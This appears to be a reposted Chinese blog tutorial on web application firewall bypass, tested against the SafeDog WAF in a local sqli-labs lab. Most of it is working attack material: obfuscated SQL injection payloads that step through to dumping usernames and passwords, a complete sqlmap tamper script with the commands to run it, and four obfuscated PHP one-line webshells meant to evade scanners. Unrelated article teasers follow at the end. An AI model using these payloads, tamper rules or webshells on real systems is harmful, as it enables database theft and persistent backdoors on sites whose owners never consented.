WAF Bypass及案例实战

news2024/11/17 17:28:56

文章目录

  • WAF Bypass
    • 1. WAF
      • 1.1 WAF 概述
        • 1.1.1 常见 WAF
        • 1.1.2 WAF 类别
        • 1.1.3 WAF 工作原理
        • 1.1.4 WAF 的部署方式
      • 1.2 WAF 指纹识别
        • 1.2.1 WAF指纹识别工具
      • 1.3 绕WAF的多种方式
    • 2. SQLi Bypass
      • 2.1 Bypass 思路
        • 2.1.1 层面问题
        • 2.1.2 HTTP问题
      • 2.2 绕过分析
        • 2.2.1 绕过方式
        • 2.2.2 脚本编写
    • 3. 一句话木马免杀
      • 3.1 概述
        • 3.1.1 查杀方式
        • 3.1.2 绕过方式
      • 3.2 Example
        • 3.2.1 Example1
        • 3.2.2 Example2
        • 3.2.3 Example3
        • 3.2.3 Example4

网络安全法

WAF Bypass

Web 应用会面临很多安全风险,大部分风险是由Web漏洞的产生而引起的,常见Web安全漏洞:

  • SQL 注⼊XSS CSRF

  • 文件系统漏洞:任意文件上传,任意文件读取,任意文件包含,任意文件删除…目录遍历

  • 目录浏览

  • RCE

  • 反序列化漏洞

  • 逻辑类漏洞:失效的访问控制(越权)…

  • SSRF

  • 组件安全:Apache,IIS,Nginx…

针对Web 安全的防护,需要使用一款安全产品,Web 应用安全防火墙(Web Application Firewall,WAF)。

1. WAF

1.1 WAF 概述

WAF(Web Application Firewall)的中⽂名称叫做“Web 应⽤防⽕墙”,利⽤国际上公认的一种说法,WAF 的定义是这样的:Web 应⽤防⽕墙是通过执⾏一系列针对HTTP| HTTPS 的安全策略来专⻔为Web 应⽤提供保护的一款产品。通过从上⾯对WAF 的定义中,我们可以很清晰的了解到,WAF 是一种⼯作在应⽤层的、通过特定的安全策略来专⻔为Web 应⽤提供安全防护的产品。

1.1.1 常见 WAF

看图识WAF-搜集常见WAF拦截页面。

1.1.2 WAF 类别

根据不同的分类方法,WAF 可以有多种分类。

产品形态说明典型产品
软WAF以软件形式装在所保护的服务器上的WAF,由于安装在服务器上,所以可以接触到服务器上的文件,直接检测服务器上是否存在WebShell、是否有文件被创建等。安全狗
云锁
D 盾
硬WAF以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听模式时只记录攻击不进行拦截。云锁
D 盾
雷池
云WAF一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送给实际网站服务器进行请求,可以说是带防护功能的CDN。阿⾥云云盾
腾讯云WAF
安恒⽞武盾
内置WAF网站系统内置的WAF也可以说是网站系统中内置的过滤,直接镶嵌在代码中,相对来说自由度高,一般有以下这几种情况。
● 输入参数强制类型转换(intval等)。
● 输入参数合法性检测。
● 关键函数执行(SQL执行、页面显示、命令执行等)前,对经过代码流程的输入进行检测。
● 对输入的数据进行替换过滤后再继续执行代码流程(转义/替换掉特殊字符等)。
网站系统内置的WAF与业务更加契合,在对安全与业务都比较了解的情况下,可以更少地收到误报与漏报。

WAF(Web应用防火墙)。

1.1.3 WAF 工作原理

WAF 的处理流程⼤致可分为四部分:预处理、规则检测、处理模块、日志记录。

处理流程说明
预处理预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内,如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分。
规则检测每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。
处理模块针对不同的检测结果,处理模块会做出不同的安全防御动作,如果符合规则则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。
⽇志记录WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析。
1.1.4 WAF 的部署方式
  1. 透明网桥
  2. 反向代理
  3. 镜像流量
  4. 路由代理

1.2 WAF 指纹识别

WAF 指纹探测。

“指纹”就是特定特征的字符串或⾏为。

指纹特征字段
响应状态码‘405 method not allow’
HTTP 响应报⽂头部字段Server
Cookie
X-Powered-By
特殊字段
响应正⽂特征‘errors.aliyun.com’
‘waf.tencent-cloud.com’
⾏为阻⽌响应⻚⾯

image-20230922171621148

1.2.1 WAF指纹识别工具
  • wafw00f

  • identYwaf

1.3 绕WAF的多种方式

  1. 脏数据
  2. 大小写转换
  3. 双写
  4. 内联注释

WAF机制及绕过方法总结:注入篇。

2. SQLi Bypass

2.1 Bypass 思路

2.1.1 层面问题
  • 架构层面

  • 系统层面

  • 组件层面:HPP…

  • 代码层面:变形、混淆…

  • WAF层面

2.1.2 HTTP问题
  • 畸形请求:请求方法
  • 持久链接
  • 分块传送

2.2 绕过分析

字符绕过方法
and/*!14400and*/
order by/**/order/*/%0a*a*/by/**/
union selectunion/*!88888cas*/%a0/*/*!=*/select/**/
database()database(/*!/*/**%0fAJEST*/*/)
from information_schema.tables/*!from--%0f/*%0ainformation_schema.tables*/
from information_schema.columns/*!from--%0f/*%0ainformation_schema.columns*/
count(*)count(1)

sqli-labs/Less-1/ 为例:

image-20230922174936706

在请求路径中添加脏数据进行绕过。

image-20230922175839553

但是由于数据过大,导致URL超过了服务器的限制。

2.2.1 绕过方式
?id=1'/*!14400and*/ 1=1 --+

image-20230922195406485

判断字段个数

?id=1'/**/order/*/%0a*a*/by/**/ 3 --+

image-20230922203710213

判断回显

?id=1'union/*!88888cas*/%a0/*/*!=*/select/**/ 1,2,3 --+

image-20230922203900162

获取数据库名

?id=1'/*!14400and*/ 1=2 union/*!88888cas*/%a0/*/*!=*/select/**/ 1,2,database(/*!/*/**%0fwuhu*/*/) --+

image-20230922204349763

获取表名

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(table_name) /*!from--
%0f/*%0ainformation_schema.tables*/ where table_schema=database(/*!/*/**%0f*/*/) --+

image-20230922204648217

获取表中字段

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(column_name) /*!from--
%0f/*%0ainformation_schema.columns*/ where table_schema=database(/*!/*/**%0f*/*/) /*!14400and*/
table_name='users'--+

image-20230922205056874

获取用户名个数

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,count(*) /*!from--%0f/*%0ausers*/--+

image-20230922205227527

获取用户名和密码

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,concat(username,0x3a,password) /*!from--
%0f/*%0ausers*/ limit 1,1--+

image-20230922205301038

2.2.2 脚本编写

safedog_bypass.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    and                                 
            /*!-*/-/*and*/
    order by                            
            /**/order/*/%0a*a*/by/**/
    union all select                        
            /*!union/*/*!%0b-/*!88888cas*/select*/
    from information_schema.tables      
            /*!from--%0f/*%0ainformation_schema.tables*/
    from information_schema.SCHEMATA      
            /*!from--%0f/*%0ainformation_schema.SCHEMATA*/
    from information_schema.columns
            /*!from--%0f/*%0ainformation_schema.columns*/
    [  as]
            /*!14400as*/
    char
            /*!14400char*/
    database\(\)
            database(/*!/*/**WUHU%0f*/*/)
    #                                   -- 
    """
    payload = re.sub(r'(?i)and', "/*!-*/-/*and*/", payload)
    payload = re.sub(r'(?i)order by', "/**/order/*/%0a*a*/by/**/", payload)
    payload = re.sub(r'(?i)union all select', "/*!union/*/*!%0b-/*!88888cas*/select*/", payload)
    payload = re.sub(r'(?i)from information_schema.tables', "/*!from--%0f/*%0ainformation_schema.tables*/", payload)
    payload = re.sub(r'(?i)from information_schema.columns', "/*!from--%0f/*%0ainformation_schema.columns*/", payload)
    payload = re.sub(r'(?i)from information_schema.SCHEMATA', "/*!from--%0f/*%0ainformation_schema.SCHEMATA*/", payload)
    payload = re.sub(r"(?i) as"," /*!14400as*/",payload)
    payload = re.sub(r"(?i)char","/*!14400char*/",payload)
    payload = re.sub(r"(?i)database\(\)","database(/*!/*/**WUHU%0f*/*/)",payload)
    payload = re.sub(r"(?i)#","-- ",payload)
    payload = re.sub(r"(?i)count\(*\)","count(1)",payload)
    
    return payload

执行脚本

python .\sqlmap.py -u "http://192.168.188.187/sqli-labs/Less-1/?id=1" -v3 --tamper safedog_bypass --random-agent

说明:--random-agent 是在使用 sqlmap 工具时可以指定的一个选项。这个选项的作用是在发送请求时生成一个随机的 User-Agent 标头,以模拟不同的浏览器和用户代理。

image-20230922210750941

python .\sqlmap.py -u "http://192.168.188.187/sqli-labs/Less-1/?id=1" -v3 --tamper safedog_bypass --random-agent --dbs

image-20230923115218066

3. 一句话木马免杀

3.1 概述

3.1.1 查杀方式
  • 静态检测
  • 动态检测
3.1.2 绕过方式
  • HTTP请求数据包变形:分块传送等。
  • 一句话木马的变形,实现动态免杀。

3.2 Example

3.2.1 Example1
<?php
$ajest = base64_decode('绕Y过X安N全z狗Z我X最J棒0!');

$ajest($_REQUEST[777]); 
?>
3.2.2 Example2
<?php
class Bypass{
	public $name;
	public $male;
	function destruct ()
    	$a = $this->name;
		$a($this->male);
	}
}
unserialize($POST['777']);
//wuhu=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:20:"eval($_REQUEST["x"])";} 
?>
3.2.3 Example3
<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple"); function test_alter(&$item1, $key, $prefix)
{
$item1 = "$prefix: $item1"; 
}
function test_print($item2, $key) 
{
	echo "$key. $item2<br />\n"; 
}
echo "Before ...:\n"; array_walk($fruits, 'test_print');
$a =array_keys($fruits); print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['wuhu']; 
@$q($r);
?>
3.2.3 Example4
<?php
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1036368.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux学习】02Linux基础命令

Linux&#xff08;B站黑马&#xff09;学习笔记 01Linux初识与安装 02Linux基础命令 文章目录 Linux&#xff08;B站黑马&#xff09;学习笔记前言02Linux基础命令Linux的目录结构Linux命令入门ls命令 目录切换相关命令(cd/pwd)cd命令pwd命令 相对路径、绝对路径和特殊路径符创…

Windows11 手把手教授开放端口

首先在控制面板点击“系统与安全”&#xff0c;找到防火墙 然后点击“windows defender”打开防火墙 点击左侧目录栏中“高级设置” 点击“入站规则”&#xff0c;再点击新建入站规则&#xff08;开放端口有开放入站端口与开放出站端口之分&#xff0c;这里讲入站端口的开放…

Web ui自动化测试框架总结

【软件测试面试突击班】如何逼自己一周刷完软件测试八股文教程&#xff0c;刷完面试就稳了&#xff0c;你也可以当高薪软件测试工程师&#xff08;自动化测试&#xff09; 实施过了web系统的UI自动化&#xff0c;回顾梳理下&#xff0c;想到什么写什么&#xff0c;随时补充。 首…

linux c++调用c

参考 【Linux下gcc编译的四个过程】_Deacde_ZY的博客-CSDN博客 C与C如何互相调用_c文件引用c头文件_卍一十二画卍的博客-CSDN博客 Linux动态链接库的创建与使用_linux创建动态库_满天星羽的博客-CSDN博客 c调用c 1.1 例子1&#xff1a; test1.c #include <stdio.h>…

python3GUI--详细讲解一个QQ音乐组件的制作By:PyQt5(详细介绍、附源代码)

文章目录 一&#xff0e;前言二&#xff0e;设计1&#xff0e;思路2&#xff0e;布局3&#xff0e;自定义组件1.支持hover事件的QLabel2.自定义的QToolButton 4&#xff0e;图片圆角5&#xff0e;动画效果 三&#xff0e;源代码四&#xff0e;总结 一&#xff0e;前言 有网友给…

大数据-玩转数据-Flink SQL编程

一、概念 1.1 Apache Flink 两种关系型 API Apache Flink 有两种关系型 API 来做流批统一处理&#xff1a;Table API 和 SQL。 Table API 是用于 Scala 和 Java 语言的查询API&#xff0c;它可以用一种非常直观的方式来组合使用选取、过滤、join 等关系型算子。 Flink SQL 是…

大转盘抽奖活动设计完全指南,轻松打造难忘的客户体验

大转盘抽奖活动是一种非常受欢迎的营销方式&#xff0c;可以吸引消费者参与并增加品牌曝光度。下面将为大家介绍一种简单易学的大转盘抽奖活动制作教程。 首先&#xff0c;我们需要使用第三方平台/工具来制作大转盘抽奖活动。这里以乔拓云平台为例&#xff0c;首先我们需要注册…

基于监督学习的多模态MRI脑肿瘤分割,使用来自超体素的纹理特征(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

1小时掌握Python操作Mysql数据库之pymysql模块技术

大家好&#xff0c;我是python222小锋老师。前段时间卷了一套 Python3零基础7天入门实战 近日锋哥又卷了一波课程&#xff0c;Python操作Mysql数据库的pymysql技术&#xff0c;文字版视频版。1小时掌握。 视频版教程 1小时掌握Python操作Mysql数据库之pymysql模块技术 文字版…

Remix 2.0 正式发布,现代化全栈Web框架!

9 月 16 日&#xff0c;全栈 Web 框架 Remix 正式发布了 2.0 版本&#xff0c;Remix 团队在发布 1.0 版本后经过近 2 年的持续努力&#xff0c;发布了 19 个次要版本、100 多个补丁版本&#xff0c;并解决了数千个问题和拉取请求&#xff0c;终于迎来了第二个主要版本&#xff…

【计算机毕业设计】基于SpringBoot+Vue记帐理财系统的设计与实现

博主主页&#xff1a;一季春秋博主简介&#xff1a;专注Java技术领域和毕业设计项目实战、Java、微信小程序、安卓等技术开发&#xff0c;远程调试部署、代码讲解、文档指导、ppt制作等技术指导。主要内容&#xff1a;毕业设计(Java项目、小程序、安卓等)、简历模板、学习资料、…

【红外图像增强】基于引力和侧向抑制网络的红外图像增强模型(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

【Verilog教程】4.3Verilog 时序控制

关键词&#xff1a;时延控制&#xff0c;事件触发&#xff0c;边沿触发&#xff0c;电平触发 Verilog 提供了 2 大类时序控制方法&#xff1a;时延控制和事件控制。事件控制主要分为边沿触发事件控制与电平敏感事件控制。 时延控制 基于时延的时序控制出现在表达式中&#xff…

【ACDC数据集】:预处理ACDC心脏3D MRI影像数据集到VOC数据集格式,nii转为jpg,label转为png

【Segment Anything Model】做分割的专栏链接&#xff0c;欢迎来学习。 【博主微信】cvxiaoyixiao 本专栏为公开数据集的预处理&#xff0c;持续更新中。 文章目录 1️⃣ ACDC数据集介绍2️⃣ ACDC数据集样例 3️⃣ 预处理ACDC目标 4️⃣ 处理结果样图 5️⃣ 代码 6️⃣ 划分测…

【算法挨揍日记】day08——30. 串联所有单词的子串、76. 最小覆盖子串

30. 串联所有单词的子串 30. 串联所有单词的子串 题目描述&#xff1a; 给定一个字符串 s 和一个字符串数组 words。 words 中所有字符串 长度相同。 s 中的 串联子串 是指一个包含 words 中所有字符串以任意顺序排列连接起来的子串。 例如&#xff0c;如果 words ["…

SSM - Springboot - MyBatis-Plus 全栈体系(十一)

第二章 SpringFramework 五、Spring AOP 面向切面编程 6. Spring AOP 基于 XML 方式实现&#xff08;了解&#xff09; 6.1 准备工作 加入依赖和基于注解的 AOP 时一样。准备代码把测试基于注解功能时的 Java 类复制到新 module 中&#xff0c;去除所有注解。 6.2 配置 Sp…

SpringBoot项目(百度AI整合)——如何在Springboot中使用语音文件识别 ffmpeg的安装和使用

前言 前言&#xff1a;在实际使用中&#xff0c;经常要参考官方的案例&#xff0c;但有时候因为工具的不一样&#xff0c;比如idea 和 eclipse&#xff0c;普通项目和spring项目等的差别&#xff1b;还有时候因为水平有限&#xff0c;难以在散布于官方的各个文档读懂&#xff…

【广州华锐互动】VR虚拟党建云展馆:带你沉浸式领略红色文化

在新时代的背景下&#xff0c;科技与党建的结合已成为一种趋势。VR&#xff08;Virtual Reality&#xff0c;虚拟现实&#xff09;技术作为一种新兴的科技手段&#xff0c;为党建工作提供了全新的载体。VR虚拟党建云展馆&#xff0c;就是将VR技术应用于党建工作的一个典型例子&…

招聘程序员(软件开发工程师),如何做岗位胜任力测评?

一、 程序员的基本工作内容 1、 负责项目组内的代码维护和更新迭代&#xff0c;保证研发效率&#xff0c;对于运营产品提出的需求应积极沟通并实现。 2、 规范相关开发文档等相关资料&#xff0c;对于有变更的代码和功能需求&#xff0c;要对开发文档做出相应的变更。 3、 作为…

三维重建_纹理重建与表面细化

目录 前言&#xff1a;为什么要重建纹理&#xff1f; 1. 纹理图像的自动创建 1.1 基础知识 1.2 算法流程 1.2.1 视角选择 1.2.2 纹理坐标的计算 1.2.3 全局颜色调整 1.2.4 泊松图像编辑 1.2.5 OBJ文件 1.3 结果示例 2. 网格细化优化 2.1 基础知识与数学模型 2.2 优…